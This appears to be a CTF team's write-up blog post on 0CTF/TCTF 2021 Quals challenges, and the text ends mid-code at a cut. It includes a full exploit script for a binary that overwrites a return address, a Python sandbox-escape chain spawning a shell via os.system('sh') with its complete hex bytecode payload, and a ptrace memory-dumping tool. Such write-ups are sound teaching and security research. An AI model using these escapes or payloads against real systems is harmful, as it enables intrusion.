hxp


0CTF|TCTF 2021 Quals: selected writeups

This was a great CTF and we hacked some stuff. Here’s a relatively small subset of how.

vp

kirschju | rev, 31 solves, 268 points

We are faced with a binary that is obfuscated using a combination of fork and waitpid calls. After careful manual inspection of the code structure it becomes evident that out of the two processes created by fork only one performs a useful operation and immediately quits.

This led to the idea that the function’s code can be transformed to a version that only executes one process by overwriting vfork with a function always returning 0, and overwriting the _exit and waitpid functions with a nops.

More precisely we did this by copying the obfuscated, decompiled check function from hex-rays into a standalone C file. Then, we added static initialization and the described dummy functions to the C file as follows:

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <string.h>

/* Hex-Rays compatibility defintions */
#define _DWORD int
#define _WORD short
#define __int64 long long
#define __int16 short

int dword_208040[32];
unsigned char byte_204020[16384] = {
  0x14, 0x00, 0x08, 0x02, 0x00, 0x02, 0x03, 0x00, 0x05, 0x04,
  0x00, 0x04, 0x02, 0x00, 0x06, 0x01, 0x01, 0x00, 0x02, 0x01,
  0x03, 0x02, 0x01, 0x01, 0x04, 0x01, 0x07, 0x03, 0x01, 0x09,
  0x02, 0x02, 0x03, 0x02, 0x02, 0x04, 0x02, 0x02, 0x09, 0x03,
  0x02, 0x07, 0x03, 0x02, 0x02, 0x02, 0x03, 0x01, 0x02, 0x03,
  0x06, 0x03, 0x03, 0x05, 0x02, 0x03, 0x00, 0x02, 0x03, 0x08,
  0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};

long sys_fork(void)
{
    return 0;
}

void my__exit(int v)
{
    return;
}

pid_t my_vfork(void)
{
    return 0;
}

void my_waitpid(pid_t pid, int *wstatus, int options)
{
    return;
}

int check()
{
/* Hex-Rays output */
}

int main()
{
    unsigned char flag[0x68] = { 0 };
    strcpy(flag, "hxp{testflag}");
    memcpy(&byte_204020[256], flag, sizeof(flag));
    check();
}

Compiling this beatiful piece of code with optimization enabled yields a binary that, upon inspection using the Hex-Rays decompiler becomes way more readable:

int __fastcall check()
{
  int a; // er12
  int b; // er9
  int v2; // edi
  int v3; // er8
  int cur_char; // esi
  int v5; // er13
  int v6; // ebx
  int v7; // er10
  int cur_max; // ebp
  int v9; // er11
  __pid_t v10; // eax
  bool v11; // sf
  char v12; // r15
  int v13; // er8
  __int64 v14; // rdi
  char flag_char_minus_one; // cl
  int result; // eax
  __int64 v17; // rcx
  int imm1; // [rsp+Ch] [rbp-9Ch]
  int v19; // [rsp+10h] [rbp-98h]
  int v20; // [rsp+18h] [rbp-90h]
  int opc; // [rsp+1Ch] [rbp-8Ch]
  int imm0; // [rsp+20h] [rbp-88h]
  int v23; // [rsp+24h] [rbp-84h]
  int c; // [rsp+28h] [rbp-80h]
  int v25; // [rsp+2Ch] [rbp-7Ch]
  unsigned __int8 *cur_inst_bytes; // [rsp+30h] [rbp-78h]
  __int64 v27; // [rsp+48h] [rbp-60h]
  char v28; // [rsp+5Ah] [rbp-4Eh]
  char v29; // [rsp+5Bh] [rbp-4Dh]
  int puzzles_solved; // [rsp+68h] [rbp-40h]

  const_one = 1;
  num_puzzles = code[0];
  vip = 0x10000000001LL;
  dword_8094 = getpid();
  opc = dword_80E8;
  imm1 = dword_80E0;
  v25 = -num_puzzles;
  imm0 = dword_80E4;
  a = dword_80D8;
  c = dword_80DC;
  b = dword_80D4;
  v2 = dword_80CC;
  v3 = dword_80B0;
  v20 = dword_80B8;
  cur_char = dword_80BC;
  dword_80EC = 0;
  v5 = dword_80C0;
  dword_80A8 = 0;
  v6 = dword_80B4;
  v7 = dword_808C;
  cur_max = dword_80C4;
  v9 = dword_80C8;
  v23 = vip;
  cur_inst_bytes = &code[(int)vip];
  v29 = 0;
  puzzles_solved = 0;
  v28 = 0;
  v19 = dword_80D0;
  while ( v25 )
  {
    opc = *cur_inst_bytes;
    v27 = const_one + (int)vip;
    imm0 = cur_inst_bytes[v27 - (int)vip];
    v23 += 3 * const_one;
    imm1 = cur_inst_bytes[const_one + const_one + (int)vip - (int)vip];
    if ( opc == 2 )
    {
      c = 2;
      a = 1;
      b = 10 * imm0;
    }
    else if ( opc == 3 )
    {
      imm0 += const_one;
      a = -1;
      c = 3;
      b = 10 * imm0 - const_one;
    }
    else if ( *cur_inst_bytes )
    {
      if ( opc != 1 )
      {
        dword_80FC = 0;
        if ( v28 )
        {
          dword_80C4 = cur_max;
          dword_80C8 = v9;
          dword_80B8 = v20;
          dword_80D8 = a;
          dword_80EC = v25 + num_puzzles;
          dword_80D4 = b;
          dword_80D0 = v19;
          dword_80B4 = v6;
          dword_808C = v7;
          dword_80C0 = v5;
          dword_80BC = cur_char;
          dword_80E4 = imm0;
          dword_80CC = v2;
          dword_80B0 = v3;
        }
        else
        {
          dword_80E4 = imm0;
        }
        if ( v29 )
          dword_80A8 = puzzles_solved;
        dword_80DC = 1;
LABEL_19:
        LODWORD(vip) = v23;
        dword_80E8 = opc;
        dword_80E0 = imm1;
        goto fail;
      }
      c = 1;
      a = -10;
      b = 10 * (10 - const_one) + imm0;
    }
    else
    {
      c = 0;
      b = cur_inst_bytes[v27 - (int)vip];
      a = 10;
    }
    v12 = v28;
    v7 = 0;
    v9 = 0;
    cur_max = -1;
    v13 = 0;
LABEL_22:
    v14 = b;
    while ( 1 )
    {
      cur_char = flag[v14];
      v5 = v14 + 256;
      flag_char_minus_one = cur_char - const_one;
      if ( cur_char - const_one < 0 )
      {
        dword_80C4 = cur_max;
        dword_80C8 = v9;
        dword_80D8 = a;
        dword_80D4 = v14;
        dword_80D0 = v13;
        if ( v12 )
        {
          dword_80B4 = v6;
          dword_80B8 = v20;
        }
        dword_808C = v7;
        dword_80C0 = v14 + 256;
        dword_80BC = cur_char;
        if ( v28 )
          dword_80EC = v25 + num_puzzles;
        dword_80CC = 10;
        dword_80B0 = 1023;
        dword_80E4 = imm0;
        if ( v29 )
          dword_80A8 = puzzles_solved;
        dword_80DC = c;
        LODWORD(vip) = v23;
        dword_80E8 = opc;
        dword_80E0 = imm1;
        goto LABEL_31;
      }
      if ( (unsigned __int8)(flag[v14] - 11) <= 0xF4u )
      {
        dword_80FC = 0;
        dword_80C4 = cur_max;
        dword_80C8 = v9;
        dword_80D8 = a;
        dword_80D4 = v14;
        dword_80D0 = v13;
        if ( v12 )
        {
          dword_80B4 = v6;
          dword_80B8 = v20;
        }
        dword_808C = v7;
        dword_80C0 = v14 + 256;
        dword_80BC = cur_char;
        if ( v28 )
          dword_80EC = v25 + num_puzzles;
        dword_80CC = 10;
        dword_80B0 = 1023;
        dword_80E4 = imm0;
        if ( v29 )
          dword_80A8 = puzzles_solved;
        dword_80DC = c;
        goto LABEL_19;
      }
      v6 = const_one << flag_char_minus_one;
      v7 |= const_one << flag_char_minus_one;
      if ( cur_max - cur_char < 0 )
      {
        v9 += const_one;
        cur_max = flag[v14];
      }
      v13 += const_one;
      b = a + v14;
      if ( v13 == 10 )
        break;
      v20 = cur_char - const_one;
      v14 += a;
      v12 = 1;
      if ( v13 - 10 < 0 )
        goto LABEL_22;
    }
    if ( !((v9 - imm1) | (1023 - v7)) )
    {
      puzzles_solved += const_one;
      v29 = 1;
    }
    v25 += const_one;
    v3 = 1023;
    cur_inst_bytes += 3 * const_one;
    v2 = 10;
    v20 = cur_char - const_one;
    v19 = 10;
    v28 = 1;
  }
  if ( !v28 )
  {
    if ( !v29 )
      goto LABEL_6;
    goto LABEL_53;
  }
  dword_80EC = v25 + num_puzzles;
  dword_80C4 = cur_max;
  dword_80C8 = v9;
  dword_80D8 = a;
  dword_80D4 = b;
  dword_80D0 = v19;
  dword_80B8 = v20;
  dword_80B4 = v6;
  dword_808C = v7;
  dword_80C0 = v5;
  dword_80BC = cur_char;
  dword_80E4 = imm0;
  dword_80CC = v2;
  dword_80B0 = v3;
  if ( v29 )
  {
LABEL_53:
    dword_80A8 = puzzles_solved;
    if ( !v28 )
      goto LABEL_6;
  }
  dword_80DC = c;
  LODWORD(vip) = v23;
  dword_80E8 = opc;
  dword_80E0 = imm1;
LABEL_6:
  dword_80FC = 1;
  v10 = getpid();
  dword_809C = 192;
  dword_8090 = v10 - dword_8094;
  dword_8098 = dword_4120;
  dword_80FC = 0;
  v11 = v10 - dword_8094 - dword_4120 < 0;
  if ( v10 - dword_8094 != dword_4120 || (v11 = num_puzzles - dword_80A8 < 0, num_puzzles != dword_80A8) )
  {
    if ( v11 )
LABEL_31:
      dword_80FC = 2;
fail:
    puts("Error :(");
    return fflush(_bss_start);
  }
  dword_80FC = 1;
  puts("Correct");
  fflush(_bss_start);
  dword_80A0 = *(unsigned __int16 *)&flag[100];
  dword_80A4 = 2 * const_one + 356;
  v17 = *(unsigned __int16 *)&code[dword_80A4];
  result = 0;
  *(_WORD *)&code[v17] = *(_WORD *)&flag[100];
  dword_809C = v17;
  return result;
}

This code basically checks that 20 different groups of 10 numbers taken from a 10 x 10 number square are distinct. Furthermore, it traverses all 20 groups looking for the maximum value in each group. It does so by storing the current “running maximum” of each list up to a certain point in a variable X. Then, the number of times X needs to be adjusted per number group is checked against a fixed, known value.

We did not recognize the underlying paper riddle that is encoded by this binary (feel free to educate us), hence we simply threw the whole problem into z3 to find a solution. Remarkably, z3 only turned out to find a solution operating on 4-bit (note the discarded sign bit) bit vectors, not on z3 integers.

After confirming that the binary actually accepts the solution found by z3, we realized that the server would just print Correct and not give us a flag (“warmup challenge” lmao). After a bit of poking in the original binary we found a function mystery at location 0xCC8 that would open a local file locally and write it to stdout.

We hence figured that we additionally needed to pwn the binary to get the flag. As it turned out, the check function had been set up via clone in such a way that its stack would be located within the global data segment – conveniently placed at constant distance to the array storing our input. Indeed, the assignments via v17 showed us that out of the 104 input bytes, the last 2 + 2 get used to write an unconstrained value at an unconstrained offset into the input array. We abused this primitive to overwrite the lowest two bytes of the return pointer with the two lowest bytes of the address of the mystery function c8 0c (introducing a 1 in a 16 chance of breaking the program due to ASLR). The distance between the input array and the return address on the stack, which turned out to be 0x8008 bytes we measured using a debugger. Hence, the final 4 bytes of the payload must be c8 0c 08 80. Combining this into a script

#!/usr/bin/env python3

import z3
import socket
import time

bs = [
  0x14, 0x00, 0x08, 0x02, 0x00, 0x02, 0x03, 0x00, 0x05, 0x04,
  0x00, 0x04, 0x02, 0x00, 0x06, 0x01, 0x01, 0x00, 0x02, 0x01,
  0x03, 0x02, 0x01, 0x01, 0x04, 0x01, 0x07, 0x03, 0x01, 0x09,
  0x02, 0x02, 0x03, 0x02, 0x02, 0x04, 0x02, 0x02, 0x09, 0x03,
  0x02, 0x07, 0x03, 0x02, 0x02, 0x02, 0x03, 0x01, 0x02, 0x03,
  0x06, 0x03, 0x03, 0x05, 0x02, 0x03, 0x00, 0x02, 0x03, 0x08,
  0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
]

ptr = 1

sol = [ z3.BitVec(f"s{i:02}", 5) for i in range(104) ]
s = z3.Solver()

for i in range(len(sol)):
    s.add(z3.And(1 <= sol[i], sol[i] <= 10))

hs = [ [ None for _ in range((8*9)//2) ] for _ in range(bs[0]) ]
for z in range(bs[0]):
    opc, imm0, imm1 = bs[ptr:ptr+3]
    if opc == 0:
        stride, off = 10, imm0
    elif opc == 1:
        stride, off = -10, 90 + imm0
    elif opc == 2:
        stride, off = 1, 10 * imm0
    elif opc == 3:
        stride, off = -1, 10 * (imm0 + 1) - 1

    tgt = sol[off::stride][:10]

    s.add(z3.Distinct(tgt))
    hs = []
    for i in range(1, len(tgt)):
        hs.append(z3.If(z3.Sum([z3.LShR(tgt[i] - tgt[i-j-1], 4) for j in range(i)]) == 0, 1, 0))
    s.add(z3.Sum(hs) == (imm1 - 1))

    ptr += 3

print(s.check())

for i in range(len(sol)):
    print(i, s.model()[sol[i]].as_long())

out = ""
hx = ""
for i in range(len(sol)):
    out += f"0x{s.model()[sol[i]].as_long():02x}, "
    hx += f"{s.model()[sol[i]].as_long():02x}"

print(out)

sock = socket.socket()
sock.connect(("111.186.59.32", 20217))
payload = bytes.fromhex(hx)[:100] + b"\xc8\x0c\x08\x80"

# Shortcut after having obtained z3 solution once
#payload = bytes([0x03, 0x01, 0x02, 0x07, 0x08, 0x05, 0x0a, 0x04, 0x06, 0x09,
#    0x08, 0x05, 0x01, 0x09, 0x06, 0x02, 0x04, 0x03, 0x0a, 0x07, 0x09, 0x07,
#    0x06, 0x05, 0x0a, 0x04, 0x02, 0x08, 0x03, 0x01, 0x07, 0x02, 0x0a, 0x03,
#    0x09, 0x08, 0x06, 0x01, 0x04, 0x05, 0x04, 0x0a, 0x05, 0x06, 0x03, 0x07,
#    0x01, 0x09, 0x02, 0x08, 0x06, 0x08, 0x07, 0x04, 0x05, 0x09, 0x03, 0x0a,
#    0x01, 0x02, 0x0a, 0x04, 0x03, 0x08, 0x07, 0x01, 0x05, 0x02, 0x09, 0x06,
#    0x01, 0x09, 0x04, 0x0a, 0x02, 0x06, 0x07, 0x05, 0x08, 0x03, 0x02, 0x06,
#    0x09, 0x01, 0x04, 0x03, 0x08, 0x07, 0x05, 0x0a, 0x05, 0x03, 0x08, 0x02,
#    0x01, 0x0a, 0x09, 0x06, 0x07, 0x04, 0xc8, 0x0c, 0x08, 0x80,
#    ])

sock.send(payload + b"\n")

print(sock.recv(1024).decode())
time.sleep(.5)
print(sock.recv(1024).decode())
time.sleep(.5)
print(sock.recv(1024).decode())
time.sleep(.5)
print(sock.recv(1024).decode())
time.sleep(.5)

(sometimes) gives us the flag flag{vvvvvfork_is_good_to_play_a_skycraper^.^}.


singer

kirschju | misc, 35 solves, 244 points

Just take the given notes and write them into a standard stave, while transposing the notes to some lower octave. If both notes are separated by a -, connect those notes notes with a line. It is only important to keep relative distances, so we freely vertically shifted the notes around and threw away all the sharp #s.

            AAA
            666
            -,,
            FFF
A    A      ### AAA F FF EEE A FA
6    6 C  C 666 666 #E7# 666 6A#6
-    - 6  6 ,,- ,-, 77,7 ,-, -66-
DG  GD -FF- DDD DDD --C, AAA D--D
##GG## G##G ### ### CD#C ### #GE#
666666 5555 666 666 7777 555 6666

--------------------O-OO---------------------------------------------
                    |O   OOO
--------------------|O----|------------------------------------------
       O  O         O OO  |       OOOO
-------|--|---------------|-------|----------------------------------
O    O |  | OOO OOO      OOO OO O | OO
|O--O|-O--O-|----|-----------|O-|-OOOO-------------------------------
| OO |  OO  OOO  |           | O|
|----|--------|--|-----------|-O|------------------------------------
O    O      OOO OOO          O  O

The drawing obviously reads as MUSIKING, giving the flag flag{musiking}.


pypypypy

sandr0 | misc, 17 solves, 407 points

The Challenge

The callenge allows us to control 2000 bytes of python bytecode and 2 names which are enclosed in __ and have a max length of 10. We chose __class__ and __dict__. The code is then executed using eval with __builtins__ stripped. Because of the __ limitation, we couldn’t use the “default” Python escape ().__class__.__base__.__subclasses__() to get the builtins back.

The Plan

We then came up with this exploit string only using __class__, __dict__ and strings. We have to brute the value IDX since it’s different on every machine / python version / python installation. Since it’s not even a one-byte-brute, it’s acceptable. On the server it was 183.

"".__class__.__class__.__dict__["__subclasses__"]("".__class__.__class__.__dict__["__getattribute__"]("".__class__,"__base__"))[IDX]().__dict__["_module"].__dict__["__builtins__"]["__import__"]("os").__dict__["system"]("sh")

The Problem

Calling everything is pretty straight forward, but getting the strings is the challenge. We can create an empty string with bytecode b"\x9d\x00". We can create 1 using the empty string and a binary not. Then by utilizing operations like shift left, subtraction, addition, multiplication, xor and value duplication, we can create bigger numbers originating from 1. With arbitrary numbers, we can now format strings using f"{value:c} using the python opcode b"\x9b\x04". We extract the format specifier “c” from "".__class__("".__class__)[1].

This approach took roughly 4k bytes … way too much.

The solution

In the end, we searched for all needed characters in __dict__ texts and __class__-descriptions.

Getting of “_” as example:

# "".__class__("".__class__.__dict__)[2]
BUILD_STRING METHOD_0 BUILD_STRING ATTR_0 ATTR_1 CALL_METHOD_1 number(2) SLICE

Our resulting bytecode in pseudo code:

# "".__class__.__class__.__dict__["__subclasses__"] (
BUILD_STRING ATTR_0 ATTR_0 ATTR_1 string("__subclasses__") SLICE
    # "".__class__.__class__.__dict__["__getattribute__"] (
    BUILD_STRING ATTR_0 ATTR_0 ATTR_1 string("__getattribute__") SLICE
    # "".__class__
    BUILD_STRING ATTR_0
    # "__base__"
    string("__base__")
    # )
    CALL_METHOD_1
# )
CALL_METHOD_0
# [183]()
number(183) SLICE CALL_FUNC_0
# .__dict__["_module"]
ATTR_1 string("_module") SLICE
# .__dict__["__builtins__"]
ATTR_1 string("__builtins__") SLICE
# ["__import__"]
string("__import__") SLICE
# ("os")
string("os") CALL_FUNC_1
# .__dict__["system"]
ATTR_1 string("system") SLICE
# ("sh")
string("sh") CALL_METHOD_0
RETURN

The flag: flag{hope_you_enjoy_the_gifts_as_well_as_the_chall}. I have to say: Yes, I liked the gifts, and also the challenge.

And the final 1998 byte long exploit:

9d006a006a006a019d00a0009d006a006a01a1019d000c0004003e0019009d00a0009d006a006a01a1019d000c0004003e0019009d00a0006800a1019d000c000c0019009d00a00069006a006a01a1019d000c00040004003e003e0004003e009d000c00040004003e00170004003e00170019009d00a0009d000c006a00a1019d000c0004003e0004003e0019009d00a0009d006a00a1019d000c0019009d00a0009d006a00a1019d000c0004003e0019009d00a0009d006a00a1019d000c00040004003e00170019009d00a0006800a1019d000c000c0019009d00a0006800a1019d000c000c0019009d00a0006800a1019d000c0019009d00a0006800a1019d000c000c0019009d00a0009d006a006a01a1019d000c0004003e0019009d00a0009d006a006a01a1019d000c0004003e0019009d0e19009d006a006a006a019d00a0009d006a006a01a1019d000c0004003e0019009d00a0009d006a006a01a1019d000c0004003e0019009d00a00069006a006a01a1019d000c00040004003e0004003e001700040014009d000c0004003e00180019009d00a0006800a1019d000c0019009d00a0006800a1019d000c0004003e0019009d00a0009d006a00a1019d000c00040004003e00170019009d00a0006800a1019d000c0004003e0019009d00a0006800a1019d000c0004003e0019009d00a0009d006a006a01a1019d000c0004003e0004003e009d000c00180019009d00a00069006a00a1019d000c00040004003e0004003e00170019009d00a0009d000c006a00a1019d000c0004003e0004003e0019009d00a00069006a006a01a1019d000c00040004003e003e0004003e009d000c00040004003e00170004003e00170019009d00a0006800a1019d000c0004003e0019009d00a0006800a1019d000c0019009d00a0009d006a006a01a1019d000c0004003e0019009d00a0009d006a006a01a1019d000c0004003e0019009d1019009d006a009d00a0009d006a006a01a1019d000c0004003e0019009d00a0009d006a006a01a1019d000c0004003e0019009d00a0009d000c006a00a1019d000c0004003e0004003e0019009d00a0009d006a00a1019d000c00040004003e00170019009d00a0006800a1019d000c000c0019009d00a0006800a1019d000c0019009d00a0009d006a006a01a1019d000c0004003e0019009d00a0009d006a006a01a1019d000c0004003e0019009d08a101a1009d000c00040004003e00170004003e009d000c0018000400170004001700040017009d000c001800190083006a019d00a0009d006a006a01a1019d000c0004003e0019009d00a0009d006a006a01a1019d000c000400040004003e003e0004003e009d000c001800040017000400170017000b0019009d00a0009d000c006a00a1019d000c00040004003e0004003e00170019009d00a00069006a00a1019d000c0004003e0004003e0019009d00a00069006a006a01a1019d000c00040004003e003e0004003e009d000c00040004003e00170004003e00170019009d00a0009d006a00a1019d000c0004003e0019009d00a0006800a1019d000c0019009d0719006a019d00a0009d006a006a01a1019d000c0004003e0019009d00a0009d006a006a01a1019d000c0004003e0019009d00a0009d000c006a00a1019d000c0004003e0004003e0019009d00a00069006a006a01a1019d000c00040004003e003e0004003e009d000c00040004003e00170004003e00170019009d00a00069006a00a1019d000c00040004003e0004003e00170019009d00a0009d006a00a1019d000c0004003e0019009d00a0006800a1019d000c0004003e0019009d00a00069006a00a1019d000c00040004003e0004003e00170019009d00a00069006a006a01a1019d000c00040004003e00170004001700040014000400170019009d00a0006800a1019d000c000c0019009d00a0009d006a006a01a1019d000c0004003e0019009d00a0009d006a006a01a1019d000c0004003e0019009d0c19009d00a0009d006a006a01a1019d000c0004003e0019009d00a0009d006a006a01a1019d000c0004003e0019009d00a00069006a00a1019d000c00040004003e0004003e00170019009d00a0009d006a006a01a1019d000c000400040004003e003e0004003e009d000c001800040017000400170017000b0019009d00a0009d006a006a01a1019d000c00040004003e0017000400170019009d00a0009d000c006a00a1019d000c00040004003e0004003e00170019009d00a0009d006a006a01a1019d000c0004003e0004003e009d000c00180019009d00a0006800a1019d000c0004003e0019009d00a0009d006a006a01a1019d000c0004003e0019009d00a0009d006a006a01a1019d000c0004003e0019009d0a19009d00a0009d000c006a00a1019d000c00040004003e0004003e00170019009d00a0006800a1019d000c000c0019009d0283016a019d00a0006800a1019d000c000c0019009d00a0009d006a006a00a1019d000c00040004003e0004003e00170019009d00a0006800a1019d000c000c0019009d00a0006800a1019d000c0004003e0019009d00a0006800a1019d000c0019009d00a0009d006a006a01a1019d000c000400040004003e003e0004003e009d000c001800040017000400170017000b0019009d0619009d00a0006800a1019d000c000c0019009d00a00067006a006a01a1019d000c00040004003e003e0004003e0019009d02a1005300

FEA

hlt | rev, 14 solves, 458 points

In this challenge, we connect to a server that (after solving the proof-of-work) challenges us to solve three very similar challenge binaries that appear to be randomly generated for every run. The difficulty here is that we only have ten seconds to solve each of the binaries - so we need to identify the common patterns and automate our analysis.

Static reversing

It becomes obvious very quickly that there is some form of control-flow flattening going on, and there are some rudimentary anti-debugging checks (it checks /proc/${PPID}/cmdline against a list of known debuggers and analysis tools, where ${PPID} is the PID of the parent process).

Because the control-flow flattening makes this a little tedious, I chose not to fully reverse the main binary and instead opted for an emulation-assisted approach. Nevertheless, some things become immediately clear while reversing:

  • The binary reads 8 bytes from standard input (and ends up printing Right! or Wrong!, presumably based on that input)
  • On startup, the binary mmaps a region of memory that is filled with additional code (spoiler alert: this will be relevant later).
  • Some control flow (and later some logic) resides in signal handlers for SIGALRM and SIGTRAP, which we will need to emulate correctly.

Emulation

I ended up trying out Qiling for the first time for this challenge, which actually served this usecase quite nicely - basically, this is the Unicorn emulator with lots of supporting features (like loading ELF files, dealing with all the dynamic libraries, and emulating most of the simple system calls).

Getting everything to run was slightly tricky (Qiling does not work well with new glibc versions, which check for the CPU’s ISA level, so I had to dig up a Debian rootfs), but then things went fairly smoothly - just load the ELF file, spoof standard input and /proc/${PPID}/cmdline (and the getppid syscall) appropriately, and tell Qiling to run everything.

PPID = 13371337

def spoof_getppid(ql, *args):
    ql.reg.rax = PPID

class spoof_ppid_cmdline(QlFsMappedObject):
    def read(self, size):
        return b'sh'
    def fstat(self):
        return -1
    def close(self):
        return 0

class spoof_stdin(QlFsMappedObject):
    def read(self, size):
        return b'01234567'[:size]

ql = Qiling(['challenge'], rootfs='debian-rootfs', stdin=spoof_stdin())
ql.add_fs_mapper('/proc', '/proc')
ql.add_fs_mapper(f'/proc/{PPID}/cmdline', spoof_ppid_cmdline())
ql.set_syscall('getppid', spoof_getppid)
ql.run()

… which immediately runs into an endless loop of nanosleep system calls, because we never deliver the SIGALRM signal that the binary expects.

Unfortunately, fully emulating signal handling is difficult, and not actually supported by Qiling (yet?). Luckily, we don’t need to deal with the siginfo parameters or signal handlers that mess with the register context, so we can spoof signal delivery by saving and restoring the register context with ql.reg.save and ql.reg.restore, and build a fake signal stack frame by just following the kernel code in __setup_rt_frame. Hooking rt_sigreturn to restore the registers is straightforward. Now, we can just deliver the SIGALRM at some point during the nanosleep (by hooking the first invocation of that system call), and execution continues.

At this point, it is not exactly clear what the binary does with our input, so we hook the read system call (this time using QL_INTERCEPT.ENTER) to find out where our input is written to, and then install memory access hooks to find all reads.

This points us directly at that block of memory that was mapped at the start, and filled with code somewhere in the binary. Of course, we can now easily dump that memory region and analyze it in IDA.

There is nothing really complex here, and the structure essentially boils down to

void check_input(uint32_t input[2] /* just reinterpreted from our input */)
{
    uint32_t expected[2];

    mangle_input(input); // This is towards the end of the region
    compute_expected_input(expected); // This is always at the start (offset 0)

    if (expected[0] != input[0] || expected[1] != input[1])
        puts("Wrong!");
    else
        puts("Right!");
    exit(0);
}

Of course, we are interested in obtaining the expected input, and then reversing the mangling algorithm in an automated fashion.

Note that computing the expected input requires properly handling SIGTRAP, as that function contains a lot of int3 instructions (that could just be replaced with xor dword ptr [0xdead0000], 0xdeadbeef after inlining the signal handler, but emulation should work just as well (it did not)). There is also some light “obfuscation” (mostly consisting of calls to funcions that increment the return address to skip a single byte in the instruction stream; this is easily worked around in IDA)

Automation

To recover the correct input, we ended up using angr after locating the mangling algorithm in the binary. This is straightforward:

proj = angr.project.load_shellcode(binary_data, 'x64', fn_offset, base_address)
state = proj.factory.entry_state()
state.regs.rdi = KEY_LOCATION
state.regs.rip = base_address + fn_offset
state.memory.store(state.regs.rsp, b'\0' * 8) # Make the function return to 0
key = [state.solver.BVS(f'f{i}', 8) for i in range(8)]
for i in range(8):
    state.memory.store(KEY_LOCATION + i, key[i])

simgr = proj.factory.simgr(state, completion_mode=all)
simgr.explore(find=0, num_find=99999999999)
for state in simgr.found:
    try:
        for i in range(8):
            result = state.memory.load(KEY_LOCATION + i, 1)
            state.solver.add(result == expected[i])
        print(bytes(state.solver.eval(key[i]) for i in range(8)).hex())
    except angr.errors.SimUnsatError:
        continue

However this produced incorrect inputs on essentially all challenge binaries - except they all worked in the emulator. The reason for this seems obvious to me now while writing this writeup (see the signal emulation code at the end), but I didn’t notice it during the CTF.

Some investigation with GDB revealed that we were obtaining incorrect values for the expected mangled input. Since emulation was not the fastest thing anyways (probably still reasonably within the timeout, but not something we wanted to rely on), and we now know the program layout pretty well, we built a set of C programs that hook into the challenge binary to replace the emulation and produce the values necessary for angr to actually work correctly.

First, we need to obtain the code that will actually run to check our input. We do this by attaching with ptrace and just waiting for the first SIGTRAP to hit, then dump the memory (which we ensured was at a predictable location by disabling ASLR):

#define _GNU_SOURCE
#define _LARGEFILE64_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/personality.h>
#include <sys/prctl.h>
#include <sys/ptrace.h>
#include <sys/resource.h>
#include <sys/sendfile.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define die(...) do { fprintf(stderr, __VA_ARGS__); exit(1); } while (0)

int main(int argc, char *argv[], char *envp[])
{
    if (argc <= 2) die("usage: %s outfile program ...", argv[0]);
    long page_size = sysconf(_SC_PAGESIZE);
    if (page_size == -1) die("sysconf: %m");
    void *shared = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (shared == MAP_FAILED) die("mmap: %m");
    volatile char *state = (volatile char *) shared;

    pid_t tracer_pid = getpid();
    int comm[2];

    if (pipe(comm) == -1) die("pipe: %m\n");

    pid_t victim_pid = fork();
    if (victim_pid == -1) die("fork: %m\n");
    else if (victim_pid == 0) {
        victim_pid = getpid();

        // Deal with YAMA if it exists, so the access check doesn't fail
        if (prctl(PR_SET_PTRACER, tracer_pid, 0, 0, 0) == -1) die("child: prctl: %m\n");

        // Try to make the addresses predictable
        if (personality(ADDR_NO_RANDOMIZE | READ_IMPLIES_EXEC) == -1) die("child: personality: %m\n");

        // Set stdin
        close(comm[1]);
        if (dup2(comm[0], STDIN_FILENO) == -1) die("child: dup2: %m\n");

        // Synchronize
        *state = 'R';
        while (*state != 'S') sched_yield();

        // Execute target
        if (execve(argv[2], &argv[2], envp) == -1) die("child: execve: %m\n");
    } else {
        // Write some dummy input
        close(comm[0]);
        write(comm[1], "12345678", 8);

        // Synchronize
        while (*state != 'R') sched_yield();
        if (ptrace(PTRACE_SEIZE, victim_pid, 0, 0) == -1) die("parent: ptrace: PTRACE_SEIZE: %m\n");
        *state = 'S';

        int status;
        // Wait for first SIGALRM
        waitpid(victim_pid, &status, 0);
        if (!WIFSTOPPED(status)) die("parent: wtf is going on\n");
        if (WSTOPSIG(status) != SIGALRM) die("parent: not in SIGALRM stop\n");
        ptrace(PTRACE_CONT, victim_pid, 0, WSTOPSIG(status));

        // Wait for first SIGTRAP - here we are in the interesting code
        waitpid(victim_pid, &status, 0);
        if (!WIFSTOPPED(status)) die("parent: wtf is going on\n");
        if (WSTOPSIG(status) != SIGTRAP) die("parent: not in SIGTRAP stop\n");

        // Dump from /proc/${PID}/mem
        char filename_buffer[128];
        snprintf(filename_buffer, sizeof(filename_buffer), "/proc/%d/mem", victim_pid);
        int memfd = open(filename_buffer, O_RDONLY);
        if (memfd < 0) die("parent: open: %s: %m\n", filename_buffer);
        int outfd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0644);
        if (outfd < 0) die("parent: open: %s: %m\n", argv[1]);
        if (ftruncate(outfd, 0x100000) == -1) die("parent: ftruncate: %m\n");

        void *outbuf = mmap(NULL, 0x100000, PROT_WRITE, MAP_SHARED, outfd, 0);
        if (outbuf == MAP_FAILED) die("parent: mmap outfd: %m\n");

        // This is predictable - ASLR is off!
        if (lseek64(memfd, 0x7ffff7cb0000, SEEK_SET) == -1) die("parent: lseek64: %m\n");

        int bytes_read = 0;
        while (bytes_read < 0x100000)
            bytes_read += read(memfd, outbuf + bytes_read, 0x100000 - bytes_read);

        munmap(outbuf, 0x100000);

        kill(victim_pid, SIGKILL);
    }
}

Then, we need to run the function that gives us the expected result values from mangling (which luckily is always at offset 0, so it’s really easy to do this - just remember that we need that signal handler):

#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

#define die(msg) do { if (errno) perror(msg); else fprintf(stderr, "%s\n", msg); exit(1); } while (0)

unsigned *deadsp;

void handler(int signo)
{
    (void)signo;
    *deadsp ^= 0xdeadbeefu;
}

int main(int argc, char *argv[])
{
